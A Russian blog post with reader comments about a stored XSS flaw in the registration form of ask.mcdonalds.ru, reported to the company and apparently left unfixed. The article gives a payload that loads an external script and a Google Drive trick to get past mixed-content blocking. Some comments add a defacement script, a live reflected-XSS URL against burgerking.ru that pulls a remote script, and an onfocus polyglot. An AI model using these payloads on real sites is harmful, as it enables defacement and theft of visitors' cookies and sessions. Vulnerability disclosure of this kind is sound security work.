Дефейс ask.mcdonalds.ru


Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.

Все началось, когда обычным майским днем я наткнулся на сообщество ВКонтакте, публикующее забавные вопросы людей о продукции Макдоналдс, которые они задавали на некоем сайте. Это выглядело примерно так:


Полистав стену, я заинтересовался и решил посмотреть, что же из себя представляет эта платформа для общения с пользователями — ask.mcdonalds.ru.

Краткий экскурс:

Согласно информации, опубликованной у них же, «Сайт призван максимально подробно ответить на вопросы, которые наиболее часто возникают у наших гостей: о составе, безопасности и качестве продукции Макдоналдс — от поля до прилавка. Поэтому в рамках Сайта мы отвечаем на вопросы, имеющие непосредственное отношение к продукции Макдоналдс.»

Я действительно порадовался, с точки зрения клиента здорово, когда я могу задать вопрос о продукции и получить на него адекватный ответ.

Обнаружение уязвимости


Далее я решил зарегистрироваться и попутно проверил, как экранируются символы, передающиеся посредством формы регистрации. Какого же было мое удивление, когда я увидел, что на страницу в итоге все выводится «как есть». Простой пример:



Таким образом мы видим сразу наличие Stored XSS, которую может использовать каждый, кто пожелает, поскольку обнаружить ее очень просто (кстати, ну и кроме этого, на сайте также присутствует пресловутая logout CSRF).

То есть мы вместе с обычными на первый взгляд именем и фамилией также передаем посредством формы что-нибудь наподобие

<script src=http://site.com/AnyDangerousScript.js></script>  

и получаем возможность выполнения любого нашего скрипта на главной странице сайта при выполнении далее нехитрых действий, но обо всем по порядку.

Я решил проверить уязвимость снова:



Интересный факт
Если вы вдруг захотите еще и прочитать то самое «положение об обработке и защите персональных данных», то сделать это вы, увы, не сможете, поскольку по адресу mcdonalds.ru/legacy нас ждет 404 и вот это

image

Но в этот раз код не выполнился. Открыв консоль, я увидел следующее:



В данном случае, страница передана по протоколу HTTPS, но также содержит контент, передаваемый по обычному, открытому HTTP (мой скрипт). Тогда соединение считается частично зашифрованным, а сама страница называется страницей со смешанным содержимым.

То есть здесь важно, чтобы и скрипт тоже передавался через HTTPS.

Я задумался, где же будет проще всего разместить файл скрипта в таком случае и вспомнил про Google Диск. И именно облачное хранилище от Google здесь придет на помощь, и нужный файл я без проблем получу по защищенному протоколу.

Любой файл, хранящийся у вас на гугл диске, может быть доступен непосредственно по прямой ссылке. Получить ее совсем не сложно:
Делаем файл доступным по ссылке и получаем что-то вроде
https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing

затем берем значение после drive.google.com/file/d/, в нашем случае «AAAAAAAAAAAAAAAAAAA», и подставляем его как значение параметра id в ссылку вида
https://drive.google.com/uc?export=download&id=

Вот и все, теперь нам достаточно зарегистрировать аккаунт, имя которого будет содержать наш код, затем задать какой-либо незатейливый вопрос, дождаться, пока на него ответят и он будет размещен на главной странице.



То есть мы получаем возможность выполнить любой код на главной странице сайта.



Последствия наличия такой уязвимости


Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним. Для настолько крупной компании наличие подобной уязвимости, а точнее эксплуатация ее злоумышленниками, может привести к серьезному экономическому ущербу.

Поскольку это хранимая уязвимость, происходит внедрение собственного (возможно, вредоносного) кода на сервер, выполняющегося каждый раз у пользователя при обращении к оригинальной странице.

И если представить, вариантов использования масса:

  • слежка за посетителями
  • фишинг
  • добавление своих рекламных партнерских программ на сайт
  • распространение вредоносного ПО
  • и многое другое.

А если бы такая уязвимость попала в руки их конкурентов на рынке? Здесь можно действовать еще интереснее, поскольку таким образом имеется полный доступ ко всему содержимому страницы, они могут к тому же изменять текст как вопросов, так и ответов, формируя фальшивые вопросы-ответы, выставляющие всю компанию в дурном свете, или даже рекламируя свою продукцию, что приведет к формированию отрицательного имиджа, потере лояльности клиентов и в перспективе потере части клиентов вообще. Такое использование может быть незаметно на первый взгляд и обнаружение могло бы затянуться.
Да и сам по себе deface сайта опасен, поскольку содержимое именно главной страницы сайта, куда заходит больше всего людей, может быть изменено.

Сообщение компании о наличии уязвимости и итог


Проверив все еще раз и убедившись, что уязвимость присутствует стабильно и не является результатом моего субъективного взаимодействия с сайтом, я решил сообщить компании о ее наличии.

Я обращался на различные электронные адреса, указанные на сайте, писал в сообщения официального сообщества ВКонтакте и на Фейсбук, ответили мне только на Фейсбук, сказав, что все подробности я могу отправить непосредственно им, что я и сделал. Прошло некоторое время, но ничего исправлено не было, я еще раз написал напоминание, что уязвимость все еще присутствует, но ответа не последовало. На данный момент прошло уже более 2 месяцев с момента сообщения всех подробностей, к сожалению, ничего так и не исправлено.

Эксплуатировать уязвимость я не намерен, посему надеюсь, что эта статья также поможет донести информацию до компании, и уязвимость будет исправлена.

Upd.
Как такового негативного эффекта сразу после публикации статьи быть не должно, поскольку перед публикацией так или иначе все вопросы модерируются, и должно пройти время, как минимум, пока на ваш вопрос напишут ответ.

Similar posts

AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 53

    +15
    Картинка
    image

    жду такое там уже сегодня
      +3
      А что останавливает? :)
      ">')"></stYle/</titLe/</teXtarEa/</scRipt/--!><script>document.write('<center><h1><a href="https://habrahabr.ru/post/334564">Дефейс ask.mcdonalds.ru</a></h1><img src="https://hsto.org/getpro/habr/comment_images/948/6d6/84a/9486d684a7b910a6b7d2732e3eaae9bb.jpg"></img></center>');</script>
      
        0

        Слишком большой скрипт. Ругается на длину имени

          0

          Делаем ссылку на js, в котором document.write, по желанию изменяемый

            0
            Да это понятно :) В любом случае, в качестве теста — почему бы и нет. А вот такой скрипт — нет уж
        +2

        Ожидал увидеть другое под катом.

          +5
          Картинка
          image

          Это? :)
            +12

            Дефейс хабра 2008-го года поди уже не помнит никто. Или просто не застали.

              +2
              С чёрным властелином-то? :D
                +4

                Он увековечен на Лурке, такое не забывается :)

            +19
            «Что должен сделать хакер, чтобы заработать на чизбургер?»
              0
              500 чизбургеров скорее
                +7
                Как хорошо, что в Макдаке нет солонок.
                –4
                Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним.


                На сколько я знаю все региональные мак-даки всего лишь шраншиза. Это обычная «Рога и Копыта», которая купила право на вывеску, и сделан сайн таким же ООО «Подвальный Вася Девелопмент» за бесплатный биг-мак))
                  +8

                  У компании есть официальное представительство в России, и сайт принадлежит не какому-то одному провинциальному ресторану, открытому по франшизе.

                    0
                    Официальный представитель заказывает услуги создания сайта у PR компании «X» которая забирая часть денег передает это задание компании «Y», которая ищет кого-то за дешево, кто может сделать сайт и имеем, что имеем) Работает это как-то так
                      +13
                      если кому то интересно про макдаки — могу много рассказать. у меня жена там работает. Обычно сеть распределена по регионам. то есть за конкретный регион отвечает какой то один ген-дир, который следит за всеми точками своего региона. занимается их продвижением и развитием. делается там всё по стандартам, диктуемым свыше. есть разного уровня проверки и экзамены. просто так с улицы бомж вася не может придти и стряпать вам бургеры. всех заставляют проходить обучение. начиная от младших сотрудников и заканчивая управленческим персоналом. поэтому юридически все макдоналдсы это российские юрлица работающие по франчайзи, и как правило, все они содержат целый регион ресторанов а не 1 точку. их заставляют и вынуждают расширяться и открывать всё больше точек. одного ИПшника или ооошника который откроет один ресторан и будет с ним сидеть — никто там держать не будет. но по качеству хавки получается так, что главное управление макдональдса следит за соблюдением технологий как у поставщиков так и на местах насколько это возможно. в зависимости от места и отношения конкретного директора к правилам и нормам, качество обсулуживания может варьироваться от наивысшего до убогого. Причём лучше всего качество должно быть там, где большой нескончаемый поток клиентов — там правила нарушать сложнее всего и продукция просто не успевает портиться и остывать. если же точка расположена неудачно и поток покупателей переменный, могут быть ситуации когда директор закрывает глаза или даже сам заставляет делать так, чтобы работники не соблюдали таймера на продукцию. то есть пирожки и котлеты, а также картошка и продукция, выложенная из пакетов и холодильников, вся ставится на таймеры от 5 до 25 минут. если она пролежала это время и её не пустили в ход — она должна быть списана по правилам. и её должны выкинуть. в точках с переменным потоком клиентов, это может быть экономически не выгодно и поэтому эти сроки нарушаются. чаще всего это происходит с пирожками и редко покупаемыми товарами. опасности для здоровья это не несёт, но вкус может значительно пострадать. Также есть ситуации когда чмошные менеджеры или директора разбавляют сироп и молочный субстрат для мороженки. на сиропе это сложно заметить, а вот если вам дают рожок который сразу же начинает течь — значит молочная смесь была разбавлена водой (или более редко — не правильно приготовлена или оборудование неисправно). менеджеры которые обслуживают точку, скорее всего сладкоежки, и на халяву жрут мороженку, а чтобы восполнить недостачу доливают в баки воду =))) на такое сразу надо жаловаться директору и писать в жалобную книгу. менеджеров скорее всего уволят. несколько таких жалоб подряд — и уволят директора.
                      0

                      Несколько лет назад читал интервью с каким-то высокопоставленным чуваком из макдака, он говорил, что все "рестораны" в России их собственные.

                        +1
                        Что-то мне подсказывает, что это не так. По крайней мере посмотрите в разных ресторанах на чеки, там печатается название юр. лица. В Екатеринбурге, например, в Маке на вокзале и в Маке в центре разные ОООшки были.
                          0
                          Ничего не значит. В России почти никто не регает все точки под одно юр.лицо.
                          Можете проверить в любой сети.
                            0
                            Более того, в Екатеринбурге владелец ресторанов не так давно менялся — кто-то у кого-то их купил.
                              0
                              Раньше был 1 владелец, ныне сеть в РФ разбита на 2 части: ООО «СПП» и Старая компания. Старая компания — истинно макдональдовский менеджмент и затраты, СПП — Компания стремящаяся к дичайшей экономии и прибыли.
                              0

                              А где Вы здесь нашли противоречие? Все эти ОООшки могут принадлежать какому-нибудь АО Макдональдс Рус, 100 процентов акций которого, кстати, в свою очередь могут быть во владении какого-нибудь McDonalds Inc. Что автоматически делает все эти, как Вы сказали, ОООшки американскими ресторанами не только в плане бренда, который они используют, но и в плане того, в какую страну в итоге уходят деньги.

                                0
                                Да. теперь это не так. Франчайзинговая система в РФ у них работает с 2015.
                                  0

                                  Вроде, только в Сибири. Хотя могу ошибаться.

                                0
                                В 2014 году мак начал работать по франшизе в РФ. До этого да, все их «рестораны» были собственные. Но это не просто франшиза — отдельный ресторан вроде как открыть не получится.

                                «Нам интересны партнеры, которые могут не просто открыть один или даже несколько ресторанов. Мы заинтересованы в долгосрочном сотрудничестве и ищем тех, кто способен взять в управление не просто ресторан, а целую территорию» (с) Алексей Семенов, управляющий директор «Макдональдс» в России.
                                  0
                                  Там франшиза но особенная.
                                  Владелец должен иметь хотябы половину капитала, не должен иметь других бизнесов и должен сам стоять у кассы.
                              +1
                              Если кто-то, как и я, заинтересовался, воспользовался ли кто-то ещё этим методом, то на 210 страницах (это всё) пока что два имени со скриптом, Евгений Колчин и Савелий Баженов.
                                +1

                                И оба это мои аккаунты

                                  +1
                                  Ну автор понял, да, что не только админам сайта, но и кулхацкерам и простым айтишникам просто в лом что-либо тут делать. Никому нафиг, видимо, не нужен какой-то там сайт с глупыми вопросами про картошку. Это ж не банк, много не унесёшь…
                                    +7
                                    Я однажды написал «alert('Админ очищай ввод')» одному пивному ресторану в гостевой книге. Потом они обратились в милицию(sic) по поводу взлома и я имел бледный вид.
                                      0

                                      вычислили по почтовому голубю?

                                        +2
                                        Я же прятался, я помочь хотел, вычислили провайдера по ip, а провайдер вычислил меня.
                                          +2
                                          * не прятался…
                                        0
                                        А что за это деяние хотели пришить? ну вроде не взлом (или взлом?). Ущерб навряд ли какой нанёс, сайт не испортил, функциональность сайта не пострадала, скорее всего. Где та грань, после которой УК начинается? А то так и за в нике статью припишут.
                                          +2
                                          Там проблема была, как я понял, в админе, он два дня не мог JS отключить и из-за алерта ничего не мог делать с отзывами. Т.е. он два дня «чинил» сайт.
                                          Пришить — не знаю, т.к. решилось всё раньше: милиция позвонила провайдеру, провайдер позвонил мне (т.к. мы пиво вместе пили =) и всё закончилось тем, что мне пришлось звонить в ресторан, извиняться и объяснять, что я не хотел портить ничего, а хотел предупредить о проблеме. Больше милиция никого не трогала, шел 2003 год… А сейчас могли бы и палку срубить, кулхацкера скрутить, имхо.
                                            0
                                            А то так и за в нике статью припишут.

                                            Именно по этому я и рассказал свою историю. Иногда добрые намерения приводят к недобрым последствиям. Не все понимают взлом как помощь. Как вариант: кто-то напишет статью по мотивам поста типа «Хакеры взломали МакДак и два месяца воровали данные пользователей» и в МакДаке сверху вниз начнут бить по шапкам. Надо будет крайнего искать, а от вот… И закрутится маховик правосудия! ттт
                                    0
                                    Там регистрацию скрыли. Просто display:none на попап поставили :D
                                      –1
                                      У меня лично ничего не скрыто

                                      image
                                        0
                                        Оу, видимо вход только для юзеров из россии
                                          –1
                                          Да, так было и ранее, это у них по-умолчанию принято. Вот цитата из FAQ

                                          image
                                      –1
                                      Сайт кто-то сломал. Все вопросы скрыли. Вот картинка.

                                      Тут конечно очень странная ситуация со «взломом». Может было лучше, если никто бы об этом не знал?
                                        –1
                                        Так, эта история была бы у mcdonalds и у вас. Сейчас же она у всего habr-а. Может быть у этой «франшизы» просто нет ресурсов и программистов закрыть ее, может быть люди не имеют необходимых знаний для понимания этой уязвимости. Боюсь, что эта история не закончится увольнением рядовых администраторов сайта (что уже достаточно печально).
                                          0
                                          Это проблема не администраторов, а криворуких разработчиков.
                                        0
                                        Сейчас зарегистрироваться не получилось. Выскакивает сообщение:
                                        «Необходимо заполнить поле «Согласие на обработку персональных данных».»
                                        Само согласие теперь добавили в форму регистрации полным текстом.

                                        Пока на хабр не напишешь об уязвимости, никто ничего делать не хочет. А теперь похоже засуетились.
                                          +3
                                          Так, а мне надо писать статью на habr с этим?

                                          https://burgerking.ru/search?txtSearch=2134%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CScript%20/K%3Es = document.createElement('script'); s.src = '//ananev.me/xss.js'; document.body.appendChild(s);%3C/Script/%3E#
                                            0
                                            рефлектед ток в лисе норм пашут :'(
                                              0
                                              Спасибо большое за ссылку. Она сделала мой день =D
                                                0
                                                Вот еще прикольное. Можно к ним на тусу сгонять в Мск http://internal.burgerking.ru

                                                Ой, да, точно
                                                <!'/*!"/*!//'/*//"/*--!><Input/Autofocus/%0D*/Onfocus=alert(document.domain)//>

                                                image
                                              0
                                              Не удивлюсь, если сайт делали в Yumalabs. В списке клиентов они есть. Те, кто знает директора, поймет.
                                                0
                                                Это не они.
                                                Не стоит обвинять их, какие бы они не были.

                                                В гугл с запросом Разработка ask.mcdonalds.ru

                                                Смотрим 3-ю строчку
                                                +5
                                                Посмотрел портфолио разработчиков — ткнул в первый попавшийся сайт — «Общественная приемная города Жуковский» — css там тоже в наличии. У ребят системный подход к своей работе )))
                                                  0
                                                  Делал похожий дефейс на платёжной системе, 2 000 alexarank в мире, щедро заплатили.Позволяла воровать cookies у юзеров, а также токены для доступа к их файловому хранилищу.

                                                  Only users with full accounts can post comments. Log in, please.